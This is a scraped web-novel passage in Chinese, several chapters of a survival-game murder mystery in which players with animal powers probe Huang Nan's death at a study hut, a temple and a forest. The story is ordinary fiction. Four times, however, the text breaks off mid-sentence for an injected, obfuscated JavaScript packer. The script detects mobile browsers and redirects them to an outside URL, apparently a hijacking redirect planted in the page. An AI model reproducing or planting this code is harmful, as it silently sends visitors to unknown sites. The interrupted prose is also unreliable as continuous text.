双手抱臂斜倚着墙的戴荆月显然也很不喜欢这种设置。在她的理念里,世界上最好的相处方式就是各人各扫门前雪,她不给人添麻烦,别人最好也安分不给她找事。 “这是概率事件,但是从现在开始,我们一个人都不能死。”不论愿不愿意团结友爱,大家此时也不得不姐友妹恭起来。 那么这场支线任务剩下最后一个问题。 “我们现在要怎么票选?” 奥若拉脸上的雀斑被光照得若隐若现:“不如都投给自己,如何?要是真投出一个人,那个人必死无疑。” 戴荆月颔首:“我同意。” 最安稳的投票方式就是投给自己,这样大家都是平票,不会有任何一个人遭受“首当其冲”的诅咒。唯一的弊端是,未必每个人都会按照规定行事,毕竟在今天之内都能不遭受攻击的诱惑相当大。 全员存活也不过是一个猜想,或许会有人为了一己私利而投给别人。但重要关头就在眼前,人们总得狠上心赌一把。 乌黑的眼眸反射着蓝光,戴荆月抬起右手,指尖在光屏上划动,跃然而出的字大气凌厉。 当最后一位玩家上交了答案,所有淡蓝色光屏薄纸般翩然而起,聚拢在空中,首尾相连、飞旋成圈。 没人说话。大家都屏息凝神,等待着审判庭的答案,也等待着答案对众人一团散沙的信任度的审判。 【叮咚!下面公布本场审判结果】 【经认定,最终投票结果为——】 【平票!】 “呼。”听到结果,张小妹微不可查地松了口气,悄悄松开攥紧衣角的手。 三三更是直接笑着调侃:“看来咱们之间还是彼此信任的。” 戴荆月将睡乱的头发重新拢成低马尾,低声轻笑:“是啊,我们彼此信任。” 结束了晨间审判庭,男捕快没再露面,大家又一次从没锁的铁门里鱼贯而出。 今天的目的地是剩下的几处地点,书生的住处、三三的山间密林以及住持的山上寺庙。 书生租了一小间城郊的破屋,一踏进屋便是扑鼻的墨香,桌案上摞着誊抄的书经,笔被随意搁在一旁,尖端沾墨结绺分叉,看起来主人走的时候很匆忙。 在这场游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662256|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏里,书生是一个不太有存在感的角色,戴荆月不动声色打量着对方。 浅棕色的刘海遮掩眼帘,墨蓝色的瞳孔藏在其后,鼻梁直挺,薄唇淡粉,唯有说话时喉结会随着声音细微滚动。整体上看宽肩窄腰,人还挺标致。 “你在这住了多久?”观察一圈极具生活气息的屋内陈设后,她再次看向书生。 后者作思考状:“考试期间我都住在这儿。” 玩家四散开来收集线索,戴荆月停在了这方书桌边。若要在这间简陋的屋子里选出最规整的一只家具,那无疑会是这张桌案。 人们只要进入房间,就会被位于正中央、堆满笔墨的书桌吸引注意力。她不由得走近几步,目光落在写满字的宣纸。纸上写着策论,字迹工整、文章行云流水,看得出有真才实学。 但是他落榜了,黄南考上了。 尽管人不可貌相,人品不等于能力,戴荆月还是觉得奇怪。黄南那种地痞流氓式的做派,真能坐下来老老实实学习?来之前,几人还特意去看一眼榜,黄南赫然在列,排次甚至不低。 将所有的疑点串起来,戴荆月突然灵光一闪,有了一个极为大胆的假设。 她当即垂头在桌子上寻找着什么,半晌托起一方被掩住的砚台。砚台用得很旧,边缘坑坑洼洼,像是不小心摔落在地碰烂的。 看见砚台的刹那,脑海中便自然而然浮现了黄南的身影。不是完好如初的黄南,而是头上带着可怖伤口的黄南。 恍惚间,她看见了那天的争吵。书生质问,黄南狡辩,二人推搡争执间,这方砚台砸到了黄南的额侧,瞬间鲜血如注。 敛下心绪,戴荆月正准备找书生对质,属于这间房的危险虽迟但到。 无端出现的“文字雨”从高空坠下,每一滴雨都是一个字符,“之乎者也”噼里啪啦落到五人的身上。偏偏这些木制字符还带有腐蚀性,硬邦邦砸到身上,不仅撞得人生疼,还灼烫表层皮肤。 离门最近的奥若拉想推门而出,却始终推不动这扇轻薄的木门。情急之下,玩家们只能各自先在房内寻找掩体。 戴荆月就近缩在桌底,书生躲在书柜旁,三三和张小妹藏在床下,奥若拉犹豫几秒后,也蹲到了桌案底部,和戴荆月大眼对小眼。 “亲爱的,你发现什么线索了呀?”奥若拉凑近她,语气亲昵。 戴荆月微微侧头:“你有什么线索要和我交换吗?” 奥若拉遗憾摊手:“我还没找到什么呢。” 戴荆月低笑一声,不置可否。 文字雨越下越大,雨点愈发密集硕大,一开始只是拇指大小,现在已经逼近整个拳头了。手无寸铁的玩家们只能继续躲下去,等这场突如其来的暴雨消散。 “人们都说一起躲雨是件浪漫的事,我们是不是也算一起躲了次雨?”奥若拉余光落在砸在地上的文字们,探出手捞了一个“月”回来,“喏,看见你了。” 戴荆月没接,定定望着短发女生,眼神平静,声音听不出任何情绪:“奥若拉,你还在演吗?” 这是她第一次正式直呼女生大名。 “你应该早就猜到了,晨间审判庭上,我投的不是自己。” 奥若拉的指尖在字符块上骤然压紧,她在对方乌黑透亮的眼睛中,看见了自己微缩的瞳仁。在对方开口那瞬间,她就意识到了戴荆月想说什么。 “我当时写的身份,是王阿婆。” 15. 密林旧事(7) 雨停得悄无声息。 空气里弥漫着潮汽,裹挟无孔不入的木屑和霉味,字符块的残骸沉默堆在地上,约有小半米高。从掩体底部钻出来的玩家们无处下脚,左顾右盼后还是踩在字符堆里,搅得吱嘎作响。 木块沉甸甸地压在脚面上,让人举步维艰。戴荆月小腿发劲拨开这些字符块,围着室内又绕了一圈,最后将那方砚台从乱七八糟的书桌中解救出来。 她悄无声息把砚台抓在手里,拇指摩挲过凹凸不平的边缘,最后塞进了随身的包裹里。 书生的视线似有若无朝这边投来,戴荆月回以一个嘴角上扬的无辜浅笑。 这间屋子没有太多特别,不论怎么看都是寻常的读书人住所。唯一让人疑惑的便是生活痕迹过于浓厚,油灯的灯罩被烟火熏得朦胧,墙角兰花葳蕤,瞧着并不像是在这暂居。 但不论怎么问,书生一概摇头表示并不知情,无奈之下,众人只好姑且离开书生的破屋,踏上进山的小径。 进山的路上安静无声,夹道两侧不时传来叫卖吆喝声。戴荆月走在队伍最末,奥若拉则一反常态走在最前,松松散散夹在中间的是三三、张小妹和书生。 位置临近的三三和张小妹暗自交换了个眼神,都从彼此眼中捕捉到同样的疑惑。 戴荆月似乎和奥若拉闹矛盾了。 先前的相处里,从言辞间自然流露的熟稔态度也能看出二人相识,众人理所当然认为她们是一同进入此地的同伴。 然而自从雨停后,两人再没说过话,尽管并没有明显的争执,但明眼人都感受到环绕其间微妙的磁场。 她们没兴趣为萍水相逢的陌生玩家协调人际关系,前提是不会干涉到游戏进度。不过眼下看起来,“月姐”和“王阿婆”都没受到影响,作为旁观者当然不会自讨没趣。 高大挺拔的树木挨挨挤挤,密如蓬盖的枝桠遮蔽住大片天光,林间雾气有些重,阴湿幽冷,像是张开巨口等待猎物送上门来的厉鬼。 直到此时,不由自主打了个寒颤的戴荆月才对“密林旧事”中的密林拥有深刻的体悟。 这是众人第二次上山。 第一次上安神山时,脚步仅仅止于黄南出事的地点,还没来得及往深处走便先遭受鬼手袭击。 这一次,吃一堑长一智的众人打起十二分精神,偶有风声穿林都会摆出战斗姿态。奈何直到看见寺庙露出尖尖角,预想中的危机也没出现,山林深处传出的窸窣动静更多是杯弓蛇影。 住持虽死,寺庙不能不来。 古庙静立在林中,墙面朱漆已然剥落,其下的灰黑泥砖暴露无遗,翘起的檐角瓦当残破断裂,唯有飞鸟为之停驻。正对着的两扇木门虚掩着,门上挂着锈迹斑斑的铜环,隐约有朗朗的诵经声从里边传出来。 “直接进去?”奥若拉环臂扫了一眼古庙。 三三欲言又止地动了动唇,最后还是一言未发。 奥若拉勾唇一笑:“让我猜猜……你是不是想说可以你先看看里面的情况?” 女人的脸色怔了怔,下意识出声:“你……” “但是你又担心过早暴露自己的属性……嗯,这确实是个问题。”女孩的金发闪闪发光,语气善解人意,说出的内容却字字犀利。 “你会读心?!”三三眼里带着不可置信,戴荆月也掀起眼皮循声望去。 奥若拉不置可否,只是歪了歪头:“所以你现在怎么打算呢?如果冒犯到了你,我很抱歉。” 充分发挥自己共情能力的戴荆月表示,她没有从奥若拉的话里感受到一分一毫的抱歉。 话已经说到这里,所有人的目光都聚集在健身背心女人的身上,尽管女人看向奥若拉的眼里带了几分不满,但她深吸一口气,咬着牙原地起跳跃至半空。 她的双臂向两侧尽情舒展开来,健身背心下,蜜色的肌肉线条分明。下一刻,有力的双臂化作一对巨大的灰黑色翅膀,翼展约有两米长,威风凛凛的翎毛树在额上,底下是两只滴溜圆的小黑眼睛,可爱的画风与凶猛的体格完全不符。 戴荆月眉心轻跳,望着深色的巨鸟在古庙上空盘旋。 是角雕。 当人人觉醒动物属性,文明社会的外壳下是赤/裸/裸的丛林法则,社会达尔文主义者层出不穷,猛兽猛禽属性的人们坐居金字塔顶,高高在上享受着属性红利。 这一点,没人比吃尽黑利的戴荆月更清楚。同为鸟类属性者,落魄乌鸦与空中霸主,孰优孰劣一目了然。 余光里,奥若拉也饶有兴致地仰头看着空中的黑点。戴荆月面无表情在心里吐槽了一句“变/态”。 故意在审判庭投票给自己,故意说破三三的心思,仿佛唯恐天下不乱。早上投票时,她再度感知到突如其来的暗色图景。 在她的视域里,有一团黑雾笼住了一个金头发的玩偶,玩偶脸上带着明晃晃的坏笑。于是她在落笔的刹那,将“月姐”改为了“王阿婆”。 时至今日,戴荆月可以确认,正如自己的第一印象般,奥若拉·希尔根本不是什么善茬。 在心里默默骂完人,戴荆月收到了奥若拉投来的目光。女生眨着蓝眼睛:“亲爱的,你在说我坏话?” “抱歉。”戴荆月表面优雅欠身,却又暗自补了一句:要不是知道你能听见,我才不在心里骂。 感知得清清楚楚的奥若拉:…… 灰黑色的羽毛徐徐飘落在地,巡视一圈的三三降落站定,擦了擦额头微沁出的汗:“里面有几个僧人,看不出什么异样,可以进去。” “那我们就进。” 戴荆月率先拨动铜环,随即推开斑驳的朱门,越过门槛迈了进去。 一位僧人主动迎上前来:“敢问施主从何而来?” “我们想来打听一些消息。”奥若拉甜津津出声。不善交际的人戴荆月立在一旁,沉默充当气氛组。 僧人颔首:“请讲。” 书生开门见山:“你们认识黄南吗?” 太阳渐至正上空,撒下的光线不带什么温度,林子里的雾气也散了大半。 僧人领着众人走到黄南常住的地方,语气有些沉:“我知道的就是这么多了。” 方才在僧人的讲述中,玩家们停滞不前的进度总算有了些起色。 黄南在庙里住了很久,据说是没地可去,每天帮着庙里清除打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662257|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫,从住持手下讨了个落脚地。 他自称是读书人,但据庙里的僧人所说,他们几乎没怎么见过他翻书,反倒是成天下山坑蒙撞骗,惹出一堆祸端。 住持警告过黄南很多次,每次都被他嗯嗯啊啊应付过去。又因为住持狠不下心,大多时候的警告都无疾而终。 几日前,黄南忽然说自己考中秀才了,在庙里欢天喜地。僧人们虽不解,但还是好言祝福,甚至为过去的误解心感惭愧。 转折点发生在两天前的晚上,住持和黄南忽然爆发剧烈的争吵,僧人从未见过住持发过如此大怒。他本想帮着劝说几句,却见黄南疯疯癫癫、面目狰狞: “好,我走,你们可别后悔!老子可是……偷偷学走了功法……”说着,便跌跌撞撞走了出去。 翌日,庙外便传来黄南身死的讯息。 听完后,五人久久没有说话。半晌,戴荆月试探着开口:“那你们住持……” 僧人豁达一笑,摇了摇头:“凡所有相,皆是虚妄。” 完全是答非所问。 戴荆月敛着眼没吭声,奥若拉接过话头,扬起一抹笑,“谢谢,你已经帮了我们很多了。我们能在这里看看吗?” “诸位请请便,贫僧先走一步。”话罢,长袍翩跹,僧人没了影。 几分钟后,及时追着僧人跑出去的书生压着眉头:“所有僧人都消失了。” 四人心下一惊。 “先检查一下这里有没有什么重要线索吧。”戴荆月往前走了两步,“兵来将挡水来土掩。” “我认可。”第一个应和出声的竟然是奥若拉。 戴荆月瞥了她一眼,兀自朝里走,探索起这间小偏房。说是偏房都算抬举了,更像是往杂物间里塞了床榻。 她走近脏兮兮的床,探手在被褥里摸着,不一会儿,就摸出了一本小册子,黄纸做的封面上写着《至阳功》。 寥寥几页,戴荆月一目十行快速浏览。这是一册不知黄南从哪倒腾来的邪/功,据说照着上边练就能获得金刚不坏之身。 依着僧人的话,黄南临走前还在念念有词着功法,还将册子藏在床上,想来当真是他的宝贝。 翻到最后一页,纸上只有一句群蚁排衙似的小字:破功之物,唯有女子之经血。 读到这里,戴荆月的眼里终于多了几分正色。她将册子揣进兜里,正准备向众人分享这个发现,一转身,却看见三三裤子后的一片暗色的血渍。 按捺住内心的情绪,她三两步上前,拍了拍三三的肩膀:“你来月经了?” 三三诧异回头,使劲扭着腰往身后瞟:“好像还真是。” 游戏虽然是由精神力操控,但扫描了玩家的所有生物信息。因此当下的生理状态也会被带进游戏,包括但不限于月经、感冒等等。 因此三三琢磨了一会儿,没太大惊小怪:“经期确实是这几天,没想到意外赶上游戏了。不过我身体挺好的,不影响进程,可能是进游戏前刚好来了没发现……” 目光又一次停留在《至阳功》的最后一句,戴荆月轻声: “或许不是刚好。走,我们现在就去你的初始地点。” 16. 密林旧事(8) 她边说边将册子揣进兜里,可就在她抬眼的刹那,声音硬生生扼在喉中。 身侧的三三不复人样,而是逐渐硬化作一尊等高的泥塑雕像,悄然无息同她脸贴着脸,稍不注意,鼻尖擦过泥像突出的五官,极快掠过一丝凉意。 泥塑的身影将戴荆月彻底笼罩,泥渣扑腾落下,她眼睁睁看着塑像的嘴角越来越弯,最后直直睁开眼睛,无机质的空洞双眼定格在她的身上。 哗啦—— 寒意从脊椎直冲头顶,戴荆月的头皮一阵发麻,来不及顾及旁人,身体已然先于思考作出本能反应,一只乌鸦瞬间腾空而起,兽化而出的双翅极力扇动,意图逃离危险的场域。 然而等她真正飞起来后,非但没有远离那尊泥塑,视野中的塑像反而在极速放大变形,如同一座活过来的山脉无限延伸,顶破了古庙吊顶,密不透风地笼罩着她。 下一刻,塑像缓缓抬起右手,张开粗壮如巨擎般的五指,向面前那个漂浮的黑点抓去! 伴随无数轰然掉落的泥沙,巨掌倾天般朝自己盖来,乌鸦在空中发出凄厉的嚎叫,将所有力量灌溉于双翼,带动起阵阵气流,向拇指与食指间的狭小空当冲刺而去。 冲出壁障后,乌鸦不敢有丝毫停顿,而是借着惯性乘风而起一路向上。 巨型塑像动作虽缓,却迅速意识到了这只小不点要做什么,再度抬起了自己覆满泥土的巨掌,自下而上向空中捞去。 乌鸦向上,巨掌追逐。 高空之中,戴荆月每一个细胞都在疯狂燃烧,这是她和塑像的较量,生局和死局的较量。 她不能输,也不甘输在这里! 就在即将飞至泥塑头顶时,手掌却倏然加快了速度,仿佛之前的种种迟缓不过是对弱小生命的残忍挑逗。如同捉弄一只蚊子般,塑像合拢手指,将讨人厌的乌鸦紧紧攥入手心。 然而,当塑像得意地摊开手掌,掌心却空无一物。 与此同时,塑像脆弱的右眼传来被利刃捣烂的疼痛,泥沙如血一般喷涌而出,接下来被洞穿的是左眼。 是尖锐的鸟喙! 剧烈的痛苦下,巨型塑像缓缓向后倒去,“轰”地一声,彻底湮灭成一滩烂泥。 力竭的乌鸦也在塑像倒下那一刻跌跌撞撞从空中摔下来。 原以为自己会砸在地面摔个鼻青脸肿,可却意外落进一双温柔的手,她被接住了。 乌鸦下意识在温暖的掌心拱了拱,随即蹦到地上幻化为人形。 指尖拨开汗结成一绺绺的刘海,视野有些迷蒙的戴荆月抬眼,正巧对上那双深蓝色的眼睛。 “你还好吗?有没有哪里不舒服?”书生的语气带着几分急切。 意识到刚躺在对方手心里干了些什么的戴荆月耳根臊得发热:“……还好。” 她的目光依次扫过书生、三三、张小妹和奥若拉,语气带着几分迟疑:“你们……都没事?” “我们没事,但是你刚刚突然就消失不见了,现在才出现。”三三眼中带着担忧,“发生什么了?” 再次看见三三,活人扭曲成塑像带来心悸感还是没能完全消退。 抬头仰望完好无损的古庙吊顶,她轻咽了口唾沫:“我消失前说的最后一句话是什么?” “兵来将挡水来土掩。” 闻言,她惊愕睁大眼,这比她想象中的时间段还早。 如此说来,这之后发生的一切难道全都是自己堕入了幻象?那本《至阳功》呢? 想到这,她突然意识到了什么:“你快转过去让我看一眼。” 三三虽懵,但还是顺从地转过身。 裤子上的血渍还在。 早在开口说话时,戴荆月就在摸包裹,手摸到了砚台,却没摸到《至阳功》。验证完想法,她定定望着面前四人:“你们有见到过一本小册子吗?” 三人一齐摇头,唯有奥若拉瞥向床脚,指了指边缘露出的一点黄色:“你说的是这个?” 《至阳功》不知何时掉到了床底下,她艰难着把册子取出来,再次翻到最后一页。 还是那句话:破功之物,唯有女子之经血。 戴荆月把自己的经历和盘托出,听到最后,所有人哑然失声,尤其是三三。她满脸不可思议: “我对这一段完全没有印象,刚刚你让我转过去时我才意识到什么。” 闻言,戴荆月勾起唇角:“那就证明我们的方向是对的。” 她微眯起眼望向虚空,似乎在和游戏背后的开发者对视:“真相快被发现了,这一切都是所谓的自保措施。” 怕被通关,所以将发现不对劲的玩家抓入另一个空间;怕被发现,所以留在原地的小册子无端迷失在角落;怕被泄露,所以扭曲了其余玩家的记忆。 一切欲盖弥彰的迹象反倒给玩家们吃了一计定心丸。 “这里差不多了吧,咱们去她那里。” 奥若拉不着痕迹地看了一眼戴荆月凌乱的发型,扭头就往外走,却莫名其妙被门槛拌了一脚,面朝黄土往下摔。 “喵呜——” 预想之中平地摔的“啪叽”声没有响起,取而代之的是一声柔软的猫叫。戴荆月惊讶地望过去,只见门槛边窜出一只浑身斑纹的狸花猫,正冲着拌倒她的门槛龇牙咧嘴。 嗯? 猝不及防看见奥若拉兽化,戴荆月还有些没反应过来。她想过很多次,这个神秘兮兮又活泼俏皮的女生究竟会是什么属性。 从天空到陆地,从两栖到海洋,她猜了很多属性,却总觉得气质不太符合,直到她看见这只吹着奶胡子的小狸花,脑中突然浮现一句话: 小猫有什么坏心思,小猫只是想和你玩。 她原地揉了揉太阳穴,将这些天马行空的想法逐出大脑。奥若拉倚靠着墙,方才的狸花猫似乎只是昙花一现。 但剩下四人确信,奥若拉的脸红了,红得像一颗生着斑纹的苹果。 所幸大家都不是落井下石的人,满心满眼都放在破解悬案上,唯有戴荆月疑惑问了句:“你刚刚是没站稳才摔的?” 奥若拉“嘁”了一声:“不然呢?” “哦。”戴荆月没追问,奥若拉意欲读心,什么也没感知到,大概是对方此时的想法在自己的能力范围外。 四人已经在三三的带领下快步往前赶,无人在意刚刚发生的小插曲,除了奥若拉。她悄悄咬着唇,眼中燃烧着不满。 又是这个该死的片面首当其冲效果! 早上的审判庭上,在故意选了戴荆月后,她的耳边响起了一道提示音。 【叮咚!检测到玩家违反“纯善的王阿婆”这一人设,扣除一次机会哦】 奥若拉操纵意念向游戏提问:“为什么?” 【故意陷害同伴,违反“纯善”的人物要求!】 【检测到玩家当前偏离人设次数最多,自动触发“片面首当其冲”效果!】 奥若拉:……想揍人,可以吗? 所谓片面,就是危险依旧会平等降临到每个人身上,只是稍稍更加偏爱她、稍稍让她更加倒霉罢了。 正因如此,在书生房里第一个想推门出去的她没能推开门,只能在房内狼狈寻找躲藏点。其余玩家看见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662258|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没成功开门后便也自动放弃了尝试。 事实上奥若拉确信,如果当时换一个人去推门,门一定可以顺利打开。 第二次的警告来自于她动用读心异能戳穿三三,游戏再次提醒她要注意人设。而没多久后,她就脚下趔趄。 也不知道剩下几人都是什么人设,居然能好端端维持到现在。她暗自想了想,不管是什么,应该都比她这个简单。 可惜,爽朗的月姐、抑郁的张小妹、老实的书生和果断的三三对此浑然不知。 相比较有固定建筑物的玩家,三三的初始地点堪称潦草。几棵高耸入云的树,几块大石头,没了。 张小妹狐疑:“你确定你没认错?整个森林都是这样吧。” 三三仔细看了看树皮,指着上边的一道刻痕:“这个是我当时刻的,应该就是这里。” “之前去过的地方都有人,就算没有人,也会有一些实物线索,但是这里明显只是一处很普通的树丛。” 戴荆月走远了几步,抓着树枝往下边探了几步,透过枝桠丛远远望到外围的景象,隐约可以看见山脚几幢小屋。 “那里是不是王阿婆的家?”紧随其后赶来的书生一眼望见靠前的那栋茅草屋。 闻声赶来的奥若拉作为王阿婆本人盖戳认证:“是。” “你们还记得吗。”戴荆月挪开视线,看向面前的玩家,“当时另一个阿婆来探望王阿婆,和她说了什么?” “她问王阿婆是不是又想她闺女了。当时我就在想,既然单独提到女儿,会不会是什么关键,但是我们一直没有遇到和‘女儿’有关的线索……” 奥若拉瞬间明白她想说什么:“你的意思是……” “她是我女儿!” “我是她女儿?” 奥若拉和三三异口同声,一高一低声线夹在一起,颇有种和声感。戴荆月惊奇:“你俩还挺有默契。” 猜想虽大胆,但并非没有可能,甚至很概率就是真相。既然如此,玩家们初步构建起了王阿婆、三三和黄南的逻辑链条。 三三是王阿婆离家多年的女儿,由于未知的原因,一直不回家。但三三其实在山上默默看着母亲,只是从未露面。而正值经期的三三又因为某个原因破开黄南的功法,之后是王阿婆见到黄南的最后一面。 理到这里,三三有些不乐意:“你们的意思是我就是最后的那个真凶?是我害了他?” “不。”戴荆月轻声回应。恍惚间,她回忆起那桩揍人的梦,想到书生住处破损的砚台,再叠加上救济点的中毒与纠纷、寺庙的大吵一架…… 她抬起头,突然问了一句看起来风马牛不相及的问题: “你们相信我吗?” 其余四人:“?” “大家都是犯罪嫌疑人,彼此提什么相信不相信的。”三三率先表态,“不过要是作为玩家,从晨间审判庭的表现来说的话,我可以相信。” 书生言简意赅:“我信。” 张小妹跟着前两人“嗯”了一声:“大家都信我就信。” 没说话的奥若拉局外人似的靠在树上,但目光也停留在戴荆月身上。 如此,够了。 戴荆月将砚台和纸册都摆在石头上,声音轻,却字字清晰: “害了黄南的凶手,很可能不止一个人。换言之,我们可能都是凶手。” 话音落下,穿林风声簌簌,携来隐秘的幽凉。三三突然觉得浑身起了鸡皮疙瘩,不自觉搓起裸露在外的皮肤。 并非“我们都可能是凶手”。 而是“我们可能都是凶手”。 17. 密林旧事(9) “亲爱的,我有个问题。”奥若拉像上课般举起右手,满脸写着求知若渴,“你说我们都是凶手,那你有证据吗?难道这一切都只是你的凭空臆想?” “往深了说,会不会是你在掩盖自己的罪行呢?” 问句字字珠玑,犀利的语气在风中渐渐消散。 早已料到会被质疑的戴荆月蹲在石头前,目光凝在罗列的几件物什上,手指轻敲石面: “目前还没有确凿证据,所以我问你们,信不信我。” 是相信她,众人齐心协力完善隐匿在密林之后的真相。 抑或是不相信,玩家们形聚心散,各自为营勾心斗角。 话音落下,四下寂静无声。 不久前才开口说相信她的玩家们此刻各自沉默,陷入思索。 但若是仔细看,会发现几人的眼中翻涌的并非单纯的怀疑,动摇、紧张、迷惘……种种情绪凝聚交杂在一双双瞳仁深处,像是微型湖泊之下漫生的凌乱水藻。 戴荆月静静扫过每一张脸,将所有人的反应尽收眼底,没有急着开口。 在说出这番话之前,她心中就已经有充足的底气。现在唯一要做的,只是耐心的等待,等一个湖面破冰的机会。 “……我信任你,或许凶手真的不只有一个人。” 斜前方,树底下的张小妹皱着眉,话在口边反复吞吐,终于还是克服了踟蹰,往前上了一步说出来。 闻言,戴荆月有些意外,她没想到最早表态的会是张小妹。 在剧情中,张小妹的救济点是一个特殊的存在。 那里没有设置任何考验,取而代之的是场猝不及防的一线死亡现场。 “你也回到了死亡当日,对吧?”最后的两个字轻飘飘的,不似疑问,更像是验证,带着几分笃定。 张小妹咬着唇点点头。 昨夜,牢房内。 蜷在地上的张小妹打着哈欠强迫自己保持清醒,却还是在无法抵抗的困意中沉沉睡去。 再次苏醒时,泼入眼中金属质感的冷调日光晃得人不自觉微眯起眼睛。 “瞅瞅,这清汤寡水的,够谁填肚子呐?” “呸!有口吃的就谢天谢地吧,你还挑肥拣瘦?后面多的是人等着!” “哎,前个儿亲眼瞧见大人物出街,不爱吃的糕点随手往外一丢,路边争着抢。” 迷糊的张小妹在一句句对话中逐渐恢复清醒,瞬间意识到自己回到了救济点。 即便只是在玩游戏,听着这番对话,她还是怔怔想到在蓝星历史教科书上看见的诗。 朱门酒肉臭,路有冻死骨。 她现在就是一具行将就木、即将冻死路边的骨头。 歪歪扭扭的队伍缓慢地朝前蠕动,等轮到她时,施粥的官员用木勺子用力刮了刮底部,勉勉强强盛出半碗稀稀拉拉的汤递给她,随即尖着嗓音宣布:“没了没了,不用排了!” 张小妹小心翼翼端着自己的半碗粥走到角落里,没有急着喝,而是将碗揣在怀里思索。 不久前自己还在牢房,此时却一个人阴差阳错穿越回到这里排队领粥,是会发生什么,还是要再经历一次幻境…… 官员放完话后,排着的队伍霎时一哄而散,没拿到的人们蜡黄色的脸皱成一团,整副身子似乎只剩包裹着骨头的一层薄薄脏脏的人皮,嘴里小声嘀咕着不满,敢怒不敢高声言。 张小妹沉默地望着眼前的场景,一低头,映入眼帘的便是漂浮着几颗米的汤。为着这点东西,人们争得不可开交,这就是灾年吗。 她一点也不喜欢自己的这个角色,一点也不想看见这些。 某种程度上,角色人设和自己本身还挺符合的——抑郁的张小妹。拿到身份时,她便这么想。 虽然她不至于抑郁,平日难免伤春悲秋,进了游戏后,看见的一桩桩一件件更是让她忍不住低落。包括住持身份的寸头男死亡的时候,她面上不显,甚至云淡风轻向月姐转述。 可事实上,眼睁睁望着一个活人被无数涌动、扭曲如蠕虫的断手淹没,她只觉腹腔内一阵翻江倒海,心口猝然发疼发涨,像是生吞了数只鬼手,在胃袋里晃荡。 打断张小妹思绪的是一阵争吵,她刷地抬眼,瞬间戒备起来。 又是争吵。 小小一处地方,为什么会连环爆发这么多争吵。 只见一个着粗布长跑的瘦小男人梗着脖子,面红耳赤抓着施粥官员的胳膊: “得罪了我,你知道会有什么下场吗?” 官员将手抽出来,拍了拍沾上的灰:“没有就是没有了,你明日再来吧。” 见官员不接他的茬,男子反手还想再扯住对方的衣角,身后却传来一声吆喝: “又没钱吃饭了啊黄南?” 听见这句,张小妹几乎是立刻起身,定定望着不远处的男人。 黄南,这场游戏的死者,怎么会站在这里?她这是回到过去了? 没等她理清思绪,黄南已摇摇晃晃撞到她的面前,一声不吭地夺走她捧着的碗。 张小妹瞳孔一颤。 反应过来的她伸手想抢回来,男人却动作更快,早已仰颈将碗中米汤咕噜咕噜一饮而尽,末了喉间溢出一声满足的“哈”。 “看你年纪还小,小丫头饿几顿饿不死,这粥我就替你喝了。” 完完全全的强盗逻辑。 张小妹盯着面前舔唇的男人,一时间不敢轻举妄动。 一方面,她对于猝不及防见到活着的“死者”一事仍心中骇然。 另一方面,她并不清楚回到此时的意义为何,唯恐整出差错影响之后的时空。 于是张小妹只是站在原地,用视线捕捉着面前男人的一举一动。 孰料下一刻,哐当一声,碗摔在地上。而黄南脖子一歪,竟直直往后倒去! 扑通—— 倒在地上的男人小臂卡着腹部,面色惨白,嘴唇直直抽搐,隐约肿胀发紫。 那一刻,张小妹的脑海中只剩下两个字。 中毒。 更恐怖的是,躺在地上的黄南竟然逐渐变异,人还是那个人,额头上却无端出现一道可怖的伤口。 紧接着,她感受到自己的双腿不受控制地往前走,捡起了摔在地上的碗,望着男人的眼神中不带一丝一毫的怜悯。 碗里的汤水已经被喝得一滴不剩,干净得能映出面部的倒影。 张小妹对上了一双冰冷的眼睛。 不属于自己,属于真正的“张小妹”。 呆望着面前的空碗,张小妹掏了掏破旧的衣兜,竟径直翻出一颗白色的小蘑菇。 黄南的双唇仍在哆嗦,她则冷漠地走回自己的树底下,语气带着几分遗憾: “幸好还留了一颗,否则全被他抢走吃了……” “我只是想安安静静地离开,为什么连这个愿望也不能满足我呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672100|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 密林里,在戴荆月主动讲述了自己的经历后,张小妹随后也交代了救济点的故事。 